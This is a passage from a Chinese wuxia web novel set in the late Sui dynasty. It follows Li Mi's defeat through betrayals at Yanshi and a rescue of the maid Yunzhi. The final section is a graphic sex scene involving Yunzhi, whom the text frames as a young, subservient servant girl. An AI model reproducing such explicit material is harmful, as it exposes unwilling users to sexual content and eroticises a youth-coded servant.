偃师城门下,双方对峙,军队都是只有一万多人而已,看起来有些寒碜。
阵前的王世充一身盔甲,脸色红润,似是完全没受过半点伤似的,但他眼中满是悲愤,提刀怒喝道:“李密,你这藏头露尾的鼠辈,还我儿命来!”
李密军阵中人才鼎盛,李密,独孤峰,尤楚红,这三大高手外,还有如程知节,徐世绩,裴仁基这等武将,还有长白双凶这样的高手。
而王世充这边,只有他,杨公卿及其他几名小将领。
李密望了一眼杨公卿,轻蔑一笑道:“王尚书,你白发人送黑发人的滋味如何?想我李密自负,却也从未尝过!”
李密简单一句话就将对手战场上最该保持的冷静心态打乱。
瓦岗军已经笑做一团,王世充老年丧子,伤疤再一次被戳痛,怒火滔天喝道:“那你就还我儿命来!宇文伤那老贼命长,但吃我一掌,最少也要休息半年,如今你们阵中再无一人是我对手!”
王世充计划打得好,目下就吃准了对手爱面子这一点,否则对方一旦一起上,他还真的不一定能赢,但他还有最保险的一招。
程知节五大三粗,瓮声瓮气地喝道:“老匹夫,休得猖狂,待某家与你大战三百回合!”
李密喝道:“程将军万勿冲动!此时我们稳赢,阵前无所不用其极,哪有那么多门道,一起上!”
王世充待要再骂时,对方已呈品字形方阵冲杀过来!
血战拉开序幕。
两阵对垒,鏖战不休。箭飞如雨,骑兵冲锋,步兵互砍,血肉横飞,尸堆如山。
惨烈,壮阔,狂暴的场景尽现眼前。
王世充一人独斗李密,独孤峰,尤楚红,长白双凶,逐渐开始落于下风。
杨公卿亦与徐世绩及沈落雁混战在一起。
不远处的一座大山上,宋师道立于山头,运功凝聚目力,关注远处的战斗。
宋师道心头暗笑:“王世充这一辈子不知道算计倒了多少人,最终被李密给算计了一次,想不到还要被杨公给算计一回!”
宋师道想起接到昨日玲珑娇的消息所言,王玄应与郎奉遭宇文伤击伤,王玄应与郎奉二人回帐片刻,王玄应就手执大印宣布郎奉已死,临终托付自己带为执掌大军一事。以杨公卿与玲珑娇对王玄应的了解,自然都想得到是王玄应干掉了郎奉。而后杨公卿又命玲珑娇暗中将最机密的情报送给宋蒙秋,期盼双方拼个你死我活,结果倒还满意。而这期间,正是宋师道密谋下药,将留守金墉城的新兵弱兵饮用的井水中暗下,不费吹灰之力便取得金墉。
今日王世充突然恢复生龙活虎,杀子之仇不报不休,阵前硬撼宇文伤,受伤也不轻,而宋师道与杨公卿密谋,第一时间派去送信人,将半真半假的消息回复给王世充。王世充闻听偃师落于李密手中,登时心头一冷,又闻杨公卿收得金墉两万人马,手中已有近四万兵力,当下命令杨公卿与之联合,掌握主动,立即动兵诛杀元气大伤的李密。
王世充不是傻子,眼下杨公卿想要反他,他将没一丝办法,于是开口承诺只要洛阳保住,必定封做大将军云云。杨公卿也是做戏做到底,彻底稳住王世充。
双方人马互相冲击,喊杀之声震天。
王世充本就是压着的伤势已经开始复发,虚晃一招回头便退,哪知却被李密料得先机,吸纳多时的地气渐渐充沛丰盈,大吼一声,罡拳带起凛冽气势以雷电之速急捣王世充背门。
本就是强弩之末的王世充挥掌回挡,一声巨响后,王世充如纸片一样飞退,大喊道:“杨将军,此时还不出手,更待何时!”
李密一个愣神间,杨公卿昂首发出一声怪异的尖啸。
后方烟尘大作,似是上万骑兵驾驭雷霆之势突入战圈。
转瞬间,形势大变。
原本剩余的瓦岗军与降军也只有不到两万而已,李密更是担心降军的心态,自然不敢立刻派出场,是以双方兵力差不多时,李密有完全把握拿下王世充,对方突然再来强兵,李密不多做纠缠,连忙收兵回城防守。
王世充心头大笑,只要这些兵士在手,在李密帮手来到之前,定能击败他。
王世充身体有些虚弱,却也挡不住那份兴奋。不料本是扶着他的两个士兵突然用力擒住他,王世充心头一寒,运功反抗,刚震开两人,杨公卿突然出手,制住他一身大穴。
王世充心头那个最可怕的念头再次浮现,依旧强装冷静喝道:“杨将军,你这又是为何?”
杨公卿也不答话,挥手使手下人将王世充押下去。
王世充残余的部下本就对杨公卿信服,眼下能做的也只有投降认命。
残阳西沉,夕阳赤彤彤的触目惊心,就似被无数伤亡战士的鲜血染成的红色。
李密等人已回到城头上,正准备对抗大军攻城时,却看到一出好笑的戏剧,杨公卿阵前造反。
李密等人心头暗笑:杨公卿此时手里的军队不过几万而已,如单雄信到来,再招集一些洛口的军队,那洛阳就将改姓‘李’了。但目前最让众人心怕的是杨公卿不顾死活的攻城,结果最好的情况下,也就是两败俱伤而已。这显然不是李密想看到的结果。
李密老奸巨猾一笑:“杨将军果然是老谋深算,不过此时洛阳城更值得你去夺取吧!”
杨公卿听出他话语中的意思,亦大笑道:“洛阳老夫不惧怕任何一个人,连元越泽都不在城中,老夫先强攻下偃师,再回洛阳又如何?”
提起元越泽,李密心头一凛,那可怕的家伙自从洛阳开战就只露过一面,自己这一方派出的高手也没再回来,定是已死。
沈落雁听到元越泽的名字,脸上表情开始复杂起来。徐世绩见沈落雁的表情,则是妒火中烧。
心思一转,李密大笑道:“你该不会是将洛阳城打下来送给那魔门中人吧!”
杨公卿冷哼道:“这个还用不着你来管。”
李密镇定道:“那就来攻吧,最后看看到底会便宜了谁!”
杨公卿竟然真的下令攻城。
李密这一方准备并不充分,但是依靠着坚固的城池与高耸的城墙,却依旧可做抵抗。而杨公卿一方似是早有准备,各种攻城道具,冲车,云梯等皆在二人对话间准备到位。远处更是隐约可见投石车在被推上前线。
城墙上众人心头大惊。
攻城战中,往往是守的一方最有优势,但李密眼下的兵力几乎都是骑兵出身,而对方人马虽然不算多,可各种器具齐全。所以对方只要远攻,那李密将没有任何优势。
杨公卿似乎是死心眼儿了一般要将李密攻退,远程攻城武器开动,大石块,火油等可怕道具砸上城墙,瓦岗军在对方还未靠近就已经开始死伤惨重!
李密心头大狠,执意守住这得来不易的城池,沈落雁眉头紧皱:“密公,杨公卿似是怕回到洛阳再被我们袭击,誓要夺回这座城池。而我们如今刚刚站稳脚,援兵未至,可以先退出,等与单将军相会后卷土重来,那时到手的将不单单是这小小的偃师,而是整个洛阳!”
李密的担心自然也有他的道理,如今各方蠢蠢欲动,如果不尽快拿下洛阳,无人能保证明后日这前年古都会改姓做什么!可眼下的确如沈落雁所说,杨公卿心志不移地猛攻,最终吃亏最大的还是瓦岗军。
虽然心头不甘,李密依旧叹了口气,无力地点了点头。
第048章 末路枭雄
元越泽望着路边小树上特殊的记号,心头再次泛起无力感。
连追五日,一路西行,京兆,河池,天水,陇西,金城。路途上所遇的皆是对方留下的记号,一种被人戏弄的感觉涌上脑海,元越泽失去冷静,只想仰天怒吼。
发泄半晌,缓缓平静下来,元越泽再次起身上路,数百里之外,就是对方约定的地点,西平了。
逐渐接近西平,大西北的风沙逐渐浓重,狂风吹起元越泽一头长发,沙尘拂过那俊美的脸庞,元越泽目光坚定地疾速奔驰。
他并不担心自己会如何,只是担心连累了云芝这个丫头。
云玉真本来目的是好的,带来个从前的好姐妹,住在家里,安静地享受生活,过一阵子就出去收集一次消息。元越泽忙得根本没怎么注意过这个腼腆羞赧的女子。
而对方的凶残,元越泽是知晓的,毕竟交手多次。元越泽担忧那些人会侮辱了云芝,如此一来,给她心灵上将带来无以复加的创伤。
如今惹上最大的两方敌人就是大明尊教与那红衣法后,大明尊教还好,但那红衣法后却太过神秘,使得元越泽不由自主生出好奇感,加上他们总来找麻烦,更让元越泽对他们的恨意急剧上升。
胡思乱想间,元越泽沿着记号走入一个偏僻的山谷,抬眼望去,元越泽浑身剧震。
前方树林中,云芝长发凌乱,螓首低垂,衣衫不整地被绑在一棵大树上。
顾不上这是否是敌人的陷阱,元越泽腾空跃起,一个起落便跃至云芝面前,手刀顺利割断绳索,云芝娇躯顺势倒在元越泽怀里。元越泽心头大惊,手指伸到她的鼻孔前,才放下心来,原来还有气息。
精纯真气渡入体内,半晌,云芝逐渐恢复知觉,感受到有人正抱着自己,云芝慌忙睁开双眼,望了过去。正与元越泽那双满是担忧之色的眼眸对上。
“哇!”
云芝刚望向元越泽的大眼睛力满是恐惧,看清是元越泽时,恐惧便化为惊喜,随即又转做委屈,紧紧抱住元越泽,大哭起来。
元越泽知她定是受了许多委屈,心头大恨,可眼下也不是询问的时候,只有抱着她坐在自己腿上,替她整理还凌乱的秀发,轻抚香肩软语安慰。
哭得浑身无力,心头委屈发泄得差不多时,云芝只觉脖子有些痒痒,随即睁开双眼,发觉元越泽正在以下巴轻轻蹭着自己的玉颈。云芝俏脸通红,赧声唤了句公子。
元越泽正在享受与她那滑嫩肌-肤擦碰所带来的舒爽感时,听得她在唤自己,忙抬起头来,柔声道:“不用怕了,我来了,再也没人能欺负你了。”
云芝前几日到来后一直以为元越泽不近人情,因为从不多看自己一眼,哪知他竟然追了千里来救自己,当下秀眸再次泛红,低声道:“公子不值为奴婢来这里。”
眼见元越泽目光转冷,云芝发觉自己刚刚说错话了,忙垂头道:“奴……云芝说错话了,请公子责罚。”
元越泽知道她被尊卑思想毒害得很深,心里虽明白短时间内不可能有多少改观,却依旧固执地改变她。
“我说过了,你不是奴婢,我们也没当你是奴婢,你就是云芝,知道吗?再敢说错话,我可就不客气了。”
元越泽直接香了她一口笑道。
云芝已经惊呆了,他哪敢奢求眼前这等天下闻名的男子会亲上自己一口。虽知按照礼法,小姐嫁过去,自己定当也得陪嫁,但过去都快一年了,小姐自己嫁过去都没再会帮派,听帮主说,小姐早就脱离帮派,嫁给天下闻名的那个元公子了,那时云芝就在想小姐真有福气,但没有带上自己,应该是自己还不配吧。继续做个丫鬟一年多后,云玉真突然将自己带到洛阳,见到这公子后,云芝更是心头暗赞,恐怕天下没有哪个男人能比得上他了。而且他有不拿自己当丫鬟看,更让云芝芳心暗许,但自己是什么身份?这种事只能想想罢了。其后数日,夜夜被那种魔音骚扰,云芝虽是处子之身,却也明白一些事情,内心不由得酸酸的。
这次被人掳来,听那些怪异妖邪之人的口气,是在以自己要挟元公子,云芝心头大惊,一方面不期望元越泽为自己来冒险,因为听小姐说洛阳的争夺是公子计划中很重要的一步。另一方面却又期盼着心上人能来解救自己。再想到自己卑微的出身。小丫头芳心大乱,说不出的矛盾与凄苦。
今日终见他来解救自己了,所有的委屈都一扫而光。
元越泽见她呆呆地望着远方,伸手捏了一下她的瑶鼻:“在想什么?他们有没有害你?”
云芝一听此话,大眼睛里又是水汪汪的,想开口却又不知如何开口。元越泽立即发现自己这话说得太不是时机,忙将她抱住道:“我不问了,只要你还活着,其他都是次要的。”
云芝腼腆羞涩,怯生生地道:“因云芝而耽误了公子的大计,云芝真是罪责不轻。”
元越泽大笑道:“什么大计小计的,和那些比起来,你更重要。”
这不啻为一个表白,云芝心头大喜,小脸更是红扑扑的,欢喜异常地将螓首垂了下去,仿佛要埋入那对雪兔之间,声若蚊呐:“多谢公子。”
元越泽也不说话,只是静静地抱着她。一阵阵大风吹过,云芝却毫无清冷的感觉,只觉温暖舒服,仿佛趴在元越泽宽广的怀抱里,一辈子也不满足似的。
“公子定是急着知道那些坏人的来历吧?”
半晌后,云芝开口道。女儿家细腻心思,怎会感受不到元越泽内心的焦急,当下银牙一咬,率先打开话匣子。
元越泽点了点头:“不过你不想说就不要说了,只要当是做了个梦好了。”
云芝娇羞一笑道:“他们的来历,我也不知道,只是在去城北码头路上时被他们抓住。”
见元越泽正在细心地听着,云芝继续道:“他们样子丑陋,面色煞白,白得有些不正常,好似云芝从前听过故事中的白无常一般。一路上他们似是有许多联系人手,不断靠轻功带着云芝西行,一个人累了,就会有另外一个人接应她。不过他们轻功再高,也没有小姐的轻功好。”
说着说着,云芝已露出可爱娇俏的模样,小嘴更是不屑地撅了起来。
元越泽哑然失笑,云玉真的强项就是轻功,连自己都不一定比得上她。
“你这小嘴儿都能挂一个茶壶了。”
元越泽轻轻一点,大笑道。
呀!公子又亲人家了,感觉真怪,却又好舒服。
云芝心忖道。随即一股异样的麻酥感迅速走遍全身,顿时让她浑身燥热,面红耳赤。清明的眼神亦朦胧起来。娇躯轻微地有些颤抖。
元越泽见她春-心荡漾,当下点了下她光滑的额头道:“先说事情,说完了再想其他事情。”
语气重重落在‘其他事情’上。
云芝回过神来,羞涩不已,赧然道:“一路上大概有十几个人分别带着云芝,最后到了这里,本来还在远处的镇子上住了几天,但今日凌晨,便将云芝绑在这里,他们随后全离开了。应该是怕了公子吧!”
元越泽眉头紧皱,从云芝所说的话推测,这些人的目的只是想引自己脱离洛阳战场而已,但竟没杀掉云芝,真是让元越泽想不出其中关键所在,突然,元越泽脑海中闪过一丝灵光,拉起云芝藕臂,挽起衣袖,见光洁小臂上守宫砂完好如处,元越泽更感莫名其妙。
云芝见元越泽动作,眼中又隐约泛起泪光。元越泽见状以为她误解了,忙开口道:“我不在乎这些,刚刚是怕那些奸人们害了你。”
云芝似懂非懂地点了点头,眼泪却依旧掉了下来。
元越泽开口问道:“他们……他们竟然没有伤害你。按照我与他们交手的经验看,他们都是极恶之人,怎会轻易放过你呢?”
云芝再度哭出声来,断断续续道:“他们……他们都不是正常人,他们……是……阉人……”
元越泽愕然,不知该说些什么好。片刻后开口道:“那你是怎么知道的?”
云芝如鸵鸟一般将螓首埋在元越泽怀中半晌后才低声哼哼道:“他们中竟然有一人在云芝面前脱光衣服,还说人家的身子不如他们……”
元越泽听后哭笑不得,却又担心这些变态们会给云芝心里带来阴影,忙问道:“不要再想他们了,这种人都是些不可理喻之人。他们有没有,嘿,轻薄你?”
云芝微不可察得摇了摇头:“他们多碰云芝一下似乎都觉得厌恶,一路上都是用席子包着人家的。”
元越泽失笑道:“好好的不当男人,当什么太监?”
云芝‘扑哧’一下笑出声来:“那也只有他们才知道吧!”
元越泽干笑一声,在云芝一声轻呼声中吻上那娇艳欲滴的红唇。
素素与单美仙,云玉真,商秀珣端坐客厅内,认真分析着如今洛阳及周围各大势力的情况。
“这一年来与小姐联系不断,终于在最关键时候起到作用了。”
素素笑道。
单美仙亦轻笑一声:“李密必败,夫君与沈落雁的赌局早就是在我们掌握之中的。”
商秀珣柳眉轻蹙道:“只怕到时洛阳城内空虚,周围几方势力会乘虚而入。”
单美仙点头道:“杨公将大半兵力放在偃师一带,洛阳城内空虚,即使再征新兵,也非短时间内可以做到的。”
素素笑道:“要说威胁,不过是西边的李唐,北边的窦建德罢了。东边的李密注定失败,而宇文伤虽有那红衣法后支持,却因力量薄弱而不可能有大作为。南方有琲姐震住萧铣,萧铣周围本就是危机重重,李密一败,他也无法来拣便宜。”
单美仙沉思后道:“的确如此,李唐有薛举在牵制,而窦建德却没有任何阻力,将会是洛阳眼下最大的威胁。”
素素道:“我已与大小姐商量好,洛阳稳定后,大小姐的部下将会归顺洛阳,这样就可填补上万人马,窦建德亦不敢轻易乱来。”
几女皆点头。
见云玉真这几日来愁眉不展,一副失魂落魄的样子,单美仙有些心疼地拉过他的玉手:“不要再自责了,夫君出马,天下还有什么事能难得住他?”
商秀珣亦一脸正容道:“就是,如果玉真姐怕以后耽误正事儿,那最好夜里不要与夫君欢好啦,否则早晨起来时浑身酸软,怎么做正事儿?”
云玉真白了强忍笑意的商秀珣一眼。扭头给了单美仙一个感激的笑意。
李密率领残余不到一万的骑兵,与一众部下及独孤阀众人火速撤离偃师,奔向东北方向那批人数过万的步兵埋伏点。那里本是计中计的一步而已,没想到在这个时刻居然会成为救命稻草。
沈落雁担心那据点已被杨公卿发现,一行人遂将马蹄以软布包裹,逐渐靠近。
与那队步兵会面后,发觉一切正常,李密的担心终于放了下来。兵贵神速,如今要以最快速度与单雄信率领的数万兵马会合,以图直取兵力空虚的洛阳城。
逃离途中,沈落雁暗暗思索过去战斗的每一个场景,元越泽一直不现身,更让她胡思乱想,因为二人有洛阳这一赌。
“等着瞧吧,谁输谁赢还没定呢!”
沈落雁暗忖道。
遥遥地望见黑压压的人马,李密内心欢喜不已,放弃偃师这一局,实在让他脸面丢尽。
沈落雁却觉不妥,当下隐讳提醒李密不要太相信单雄信。
李密杀掉翟让篡位,对翟让的独生女翟娇自然也是毫不留手,万幸的是翟娇得以躲过大灾,但李密心思缜密,对所有曾与翟让有密切关系的将领都生出疑心,不让他们参与这次攻打洛阳的军事行动,更将他们调守其它地方。
与单雄信会合后,李密与一众手下开始了策划。
如是平时的李密,定当后退避至安全地方,以图东山再起。但如今形势不同,洛阳空虚,乃是个最好的进攻时机,是以无论他多么地怀疑单雄信,心里却依旧希望可以在最短时间内集结兵马,继续进攻洛阳。
最终,单雄信在李密的安排下十分配合,退后十五里安营扎寨。
如此一来,李密与沈落雁也算是放下心头上的大石。
直到几个时辰后,大家各自散去,回营帐内休息。
身心俱疲的众人不多时已昏沉沉睡去。
不知道过了多久,修为高绝的李密突然打了一个冷颤,坐起身形,但见天色已晚,营帐外火光大作。冲出帐外,衣衫不整的瓦岗残军士兵哭喊之声不断,四处抱头鼠窜,许多营帐已经燃起熊熊大火。
李密身躯剧颤,拉住一个士兵喝道:“怎么回事?”
那士兵连盔甲都没穿齐,对李密哭道:“单将军……与……与大小姐……谋反了……”
李密当即呆立在原地,手中那士兵连滚带爬地起身逃跑。
看眼前的形势,李密心中最担心的局面终于出现了,本以为单雄信后退十五里就不会再有作乱的机会,哪知李密却依旧被算计了。很可能是单雄信早就提前安排好人马埋伏在附近了。只是李密没想到对方计划得如此精密,连己方的探子都被隐瞒过去了。
“密公,我们中计,我军阵脚大乱,必须重整方可再战!”
徐世绩急促的声音在李密身后响起。
李密来不及细想,恨声道:“可恶!下令全军撤退!”
怎么撤退?近三万人马中有两万是新兵弱兵,不堪一击,原本那八千多精兵亦死去不少,如今跟随李密后撤的只有不到六成而已。
单雄信大部队赶到后,狂追不舍,李密与部下一路奔向西南,直退了快二十里的路程,终于进入一座深山,算是甩开了单雄信的追击。
李密眼见己方节节败退,残兵委顿地上,遍野的哀鸣呻吟,满目疮痍的惨状,大生穷途末路,英雄气短的愤慨。
威胁暂消,众人得以喘息时机,坐于地上修整。
李密胸中恨意难平,仰天长啸:“想我李密出道以来,攻无不克,战无不胜,打下大好的基业,数天下英雄,除李世民以外,唯我有力一统中原,但我竟败在内鬼手中!”
“密公……”
沈落雁在一旁心头酸楚,开口道。
李密伸手打断她的话语:“如果是更坏的消息,就不要说了,给我闭嘴!”
沈落雁固执道:“事已至此,我军无法再坚持下去了,从外面脚步声可判断,单雄信的亲兵已经快要搜进山来。有道是‘留得青山在,不怕没柴烧’,密公还是及时撤出这座荒山,以便日后卷土重来吧。”
众人亦是开口劝慰,半晌后,李密长吁一口气:“撤吧!”
随后,在沈落雁的调度下,一万多瓦岗残军有秩序地向深山更深处撤退。兵败危机时刻,沈落雁反倒打起了精神,指挥若定,尽现巾帼英雌超卓本色。
胜券在握的单雄信与翟娇联军怎可能就此罢休,数万大军火速进入深山,对李密穷追猛打,不斩敌首绝不罢休。
一个多时辰后,单雄信一部人马全部摸出深山,未见到李密人马半个身影。
单雄信突然望向山脚下:“白天为何要点起火把?”
只见山脚下的瓦岗残军似是察觉到单雄信出山速度不慢,遂以烟火迷惑追兵,更是分做三股,朝三个不同方向有条不紊地撤退。
翟娇一身肥肉颤抖不停,怒喝道:“李密真是狡诈,他到底会躲在哪个队伍中?”
单雄信沉思小片刻后道:“化整为零,尽可能的保证实力,这该是沈婆娘的计策。不过李密虽败,却有余威,有他在阵,兵士想逃也不敢,所以队形最为完整的一路,便是李密所在。”
一众大小将领随即望去,只见三股逃兵中逐渐有两股已经现出溃散鼠窜的现象。只有左方一路,正保持着整齐的队列。
翟娇如水桶般的身躯第一时间冲下山坡,提刀喝道:“还不快追!”
单雄信一部数万人马狂猛追杀,锲而不舍。一败再败,李密心胆俱寒。
形势已是一面倒,气势如虹的单雄信部队风驰电掣,如狂风过境一般横扫瓦岗残军,撑不过一个时辰,瓦岗残军非死即伤,或是求饶投降。
李密与一众部下皆在后面残兵的掩护下逃出数里,算是甩开了单雄信的追击。失魂落魄地狂奔一昼夜,一行人终于来到一道山峡小路前,止住身形,疲累交加,坐在谷中歇息。
李密眼光扫视,如今只剩下几十个残兵,跟在身侧的还有徐世绩,长白双凶。
身体的疲劳无法抗拒,即使再惊恐。
沉沉睡去的几十人突然被阵阵脚步声惊醒,草木皆兵的众人吓得围在李密身边,想逃也逃不出去了,因为背后是死胡同!
“密公,是我!”
独孤峰的声音传来,随后与沈落雁,程知节一同进入谷中。
李密放下心神,颓然苦笑道:“我还以为你们放弃李密了。”
沈落雁亦是无奈道:“密公万不可灰心,落雁与阀主那两路人马没有被追击,尤老夫人亦走失了,我们也打算找寻密公,没想到会又在这里遇到。”
程知节一身鲜血,手提板斧道:“某家与沈军师那一路在半路上发现一个小山洞,内里竟然放着近百桶埋藏好的土制火药,也不知是哪个人放在那里的。”
李密没有答话,这种土制火药威力的确巨大,但也无法将失去的一切拿回来。
徐世绩不知是受失败打击,还是因其他情绪而发狂,冷声问沈落雁道:“你怎么还回来?今日这结果不正是你想看到的吗?”
沈落雁大怒:“你把话说清楚点,我沈落雁哪里有愧于密公,哪里有愧于瓦岗军了?”
程知节亦是不忿道:“徐将军可不要血口喷人,沈军师什么时候做过亏心事?”
徐世绩看也不看程知节,指着他怒声道:“你给我闭嘴,此事与你无关!”
独孤峰在一旁一言不发,只是冷冷地看着穷途末路中人性所掩埋的疯狂。
李密喝道:“够了!”
徐世绩咬牙怒视沈落雁,沈落雁亦是不服地回瞪他。
“落雁,你做过什么,当我们不知道吗?当我李密是傻的吗?”
李密缓缓道,话语中不带任何情感,又让人感觉如坠冰窖似的。
沈落雁愕然,这话说在别人口里她可以不屑,亦可以反对,但说在李密口中,却让她根本不知该如何回答。
见沈落雁一脸不解的望着自己,李密开口道:“杨公卿行为反常,单雄信密谋造反。这两点有何共通之处?”
沈落雁柳眉紧蹙,聪明如她,又怎会听不出其中的意思,干脆答道:“探子回报杨公卿与元越泽的一位夫人关系密切。单雄信与翟娇谋反,而翟娇情同姐妹的素素嫁予元越泽。”
“你离开洛阳最后一晚还去了元越泽家中,当时你撇开所有随从,这件事是不是真的?”
李密紧盯沈落雁,又问道。
沈落雁面色无愧,点头道:“当时落雁是怕消息传到密公耳中,引起误……”
李密怒喝一声,打算她的话语:“不用说了!你在晁公被杀后也去见过元越泽吧?这你又如何解释?”
徐世绩接口讥讽道:“你该不会是与那姓元的谈些儿女私情吧!”
沈落雁没有开口,秀眸中写满了失望。
徐世绩可以妒嫉,因为自己的确不时地会想起元越泽,表现偶尔也有些失常,在眼前任何人都无法接受的失败结局中,一个承受能力弱的人可能早都疯了,徐世绩只是发泄长久以来压抑的不满,已属难得,所以沈落雁并不怪他。但李密不同。当年自从辅佐李密开始,李密在她眼中,就是个意气风发,不可一世,叱咤风云,威震江湖,席卷天下的不世枭雄。但今日,在这里,李密成了一个彻头彻尾的失败者后,竟然会说出侮辱自己的话来。如是拿自己撒气,作为下属倒也认了,但李密的话中意思再明显不过了,那就是沈落雁是与元越泽勾结谋害李密。
世上有一种人,顺风顺水之时可以掩盖住他所有的低劣本性,可一旦陷入到了困境之中,特别是这种困境是万劫不复那一种时,他的本性就会被困境彻底地撕碎伪装,完完全全的暴露出来。徐世绩也好,李密也罢,他们都是这种人。
而一脸愤慨的程知节则不是这种人,一旁一脸冷漠的独孤峰内心究竟在想些什么,没有人知道。
沈落雁内心虽然失望,却依旧双膝跪地,声音中满是倔强地道:“落雁至今一心辅助密公,不曾有愧于心,密公如有怀疑,此时大可结果落雁的性命。”
一旁的徐世绩大笑不已,声音凄厉:“杀了你又如何?姓元的好计谋啊!一个美男计,将瓦岗军的所有基业都毁在一个甘心为他送命的女人手里!”
沈落雁再也忍受不了徐世绩的疯癫,银牙一咬,开口怒咤道:“徐世绩,你可以不相信我,但你不能侮辱我,我沈落雁虽为女子,却也不是任你随意看扁的!”
“我不能侮辱你?你他娘的有了我这个未婚夫,还去勾引别的男人,我怎么就不能侮辱你?怎么就不能看扁你?”
徐世绩盯着沈落雁道。
沈落雁待要还击时,李密伸手止住她的话语,沉声道:“我李密有此一败,全是元越泽所赐,落雁你说我这样说对还是不对?”
沈落雁心中泛起一种荒唐的感觉,兵败的确有对手的责任,但更多的责任该是在自己身上寻找才对。如今的李密已是穷途末路,本性中的狭窄气量与刚愎自用显露无疑,如果沈落雁否认他的话,就代表沈落雁真的与元越泽有一腿了,但不否认他,却代表沈落雁失去她向来坚持的自主。
李密见沈落雁并不回答,似是知道了答案似的,轻声道:“落雁既然回答不上来,我也不勉强你,你对我李密,对瓦岗军都大有功劳,我也不会杀你,但你可愿做一件事来证明你的忠心?”
沈落雁聪慧机敏,只听这话又怎会猜不到李密的想法,当下笑道:“落雁如皱半下眉头,就不姓沈。”
本是笑靥如花的俏脸上,有无奈,有苦涩,有恨意,有凄凉。话语中却依旧满是倔强与豪情。情景说不出的怪异。
这一刻,她无半分悔意,败在元越泽手上,她心服口服,元越泽连人影都没出现过,仅靠杨公卿这个只有两万人的将军与看似是根本不会卷进这场战争的单雄信与满腔仇恨的翟娇这三人,就将沈落雁所有精心部署打碎。
这一刻,她对李密亦无恨意,自始至终,她都是全心全意的辅助他,如果说到底错在哪里,沈落雁只认为是自己选错了人罢!她知道自己的生命就要走到头了。
这一刻,她也无半丝惧意,脑海中浮现出了元越泽那一袭紫色长衫,一头永不束起的长发,英俊的面容,深邃的双眼,淡淡的笑意,举手投足间的洒脱,甚至还有两人那一次‘亲密接触’。
只是沈落雁并不知道,如果论机智,一百个元越泽也不是她的对手,元越泽强就强在他背后的智囊团。
“好!好!好!”
李密连道三声。
一旁的徐世绩面色大变。
第049章 东都新主
河东郡北的一处风景如画小树林。
元越泽一脸满足地躺在直接铺在地上的软被上,回想起过去几天的事情。
自从与红衣法后的手下第一次交手,到最近这一次,元越泽对他们的恨意已经到了无法忍受的地步,他们一次又一次的来招惹自己,手段无所不用其极。但元越泽亦是心有无奈,用尽办法也找不到这群妖人的所在。
那一日,一个热吻就将怀中小丫头的芳心彻底融化,早习惯夜夜抱着美人入睡的元越泽憋了数日,终于在那一晚在云芝的半推半就中与其成了‘好事’。想起小丫头看似腼腆,实际热情如火,初夜时就不知天高地厚的疯狂迎合自己,手口并用地炼化身体后,更是幸福得如同一只小鸟一般整天只知叽叽喳喳说个不停。闻听自己的全部身世后,小丫头竟然只是惊呆片刻而已,似是对这些事完全不放在心上,只认为能有元越泽这样的人爱就无限满足了,元越泽失笑不已。
距离自己离开洛阳已经九天了,追到西平的路上花费数日,这几天来带着云芝放慢行程,主要目的还是带她散散心,身体上虽然没被亵渎,心灵上却被那群变态给折磨得很惨,如演化成心病可就不得了了。
瞧了一眼还在熟睡的云芝,元越泽不由得回忆起当天的情形来:救下云芝三天后,二人已返回进入得关中。当晚,用完晚饭,元越泽出去洗碗,云芝独自一人呆在小帐篷里发呆。等她回过神来,发觉元越泽不知何时已坐在她身侧,正似笑非笑地看着她。一直在想着他的云芝脸上露出一抹羞红,娇羞不已地垂下头去。
元越泽大力地吸了一口她少女独有的淡淡的体香,赞道:“好香!”
云芝正是情窦初开的年纪,最是腼腆,闻言“嘤”的一声,扎到他怀里,秀丽的脸蛋火一样烧了起来。
元越泽顺势伸出手臂搂住她纤细柔软的腰,把脸贴在她秀美的的额头上,阵阵热烫感立刻传来,便微微一笑,轻声说:“芝儿愿意嫁给我吗?”
如小鸟依人般伏在他怀里的云芝娇躯一震,仰起通红的俏脸,骇然道:“奴婢不敢高攀……”
元越泽立即低头吻上她因羞涩而红得如春花般娇美的面庞,喃喃地道:“你再这样说我可要不客气了。”
云芝心中欢喜得要命,竟流出两行情泪,轻轻点头。
元越泽吻干她的泪水,彻底将小丫头的芳心融化。再吻上她香甜的小嘴,云芝以不太熟练的技巧回吻,情欲渐渐高涨起来。
二人的舌头在对方的口腔里搅动纠缠,体温不断上升。元越泽更可感到了云芝娇躯的滚烫,大手温柔地伸进她衣内。云芝象征性地推就几下,没起到任何效果,元越泽的手已经潜过她的肚兜。
坚翘挺实的玉乳突然被元越泽仿佛带有电流的指尖触到,云芝浑身一颤,身体紧紧地偎在他怀里,小口中发出一声似有若无的娇吟。
元越泽将她坚实的乳房握在手中,轻轻揉捏着。动了真情的云芝的少女情欲已被燃起,她微闭着秀目,任由元越泽爱抚,身躯不断轻颤着。
元越泽将她轻轻按倒,慢慢地褪去上衣和肚兜。云芝玉脸羞得绯红,紧闭着眼睛,长长的睫毛不断抖动着,动人之极。
少女白晰粉嫩的身体瞬间出现在元越泽面前:如玉石般纯洁,如山泉般清纯。她的玉乳虽没有单美仙几女丰腴,但与她们一样圆翘坚挺。元越泽趴在她的身上,去吻她雪白的脖颈,如天鹅绒般光润的胸脯,吻她坚挺结实的少女的乳房。再用嘴噙吮着着如樱桃般小巧的乳头,另一支手揉捏着另一支乳房,云芝颤抖得越来越厉害,身体也开始扭动,面色越发的酡红。她不由自主地伸出纤嫩的手抚上元越泽的头,好似想他用力一些似的。
元越泽再褪去她的亵裤,一具少女的赤裸裸的身体完全展现在眼前。与单美仙等成熟美艳的丰腴不同,她自有一种风韵,娇小纤嫩,圆润迷人,同样的魅力非凡。
元越泽微微分开她浑圆的大腿,只见她胯下那片神秘的小花园上,阴毛稀疏清淡,如萋萋芳草恰到处地遮覆着微微隆起的阴阜;鲜嫩的大花瓣把肉洞口包隐得严严实实。这正是熟女与少女的区别,熟女一般性生活多了,小阴唇会在动情时保持着一种微分开的状态,可以隐约看见肉洞口。
在会阴下,云芝小巧的菊花蕾紧紧凑凑的,在雪臀的映衬下分外迷人。元越泽被大自然这绝美的造物深深地迷住了,把脸埋在云芝两股间,贴着少女贞洁的花园,深深地吸嗅着少女阴部那迷人的、沁人心脾的体香。
云芝的圣地热呼呼的,她那蓬松的、柔软的阴毛拂撩着元越泽的脸,使他忍不住去吻她的花瓣。大嘴碰触到她的大花瓣瞬间,云芝的身体颤栗得更加厉害,嘴里呻吟声转高了一些,玉手紧紧地抓着床单。
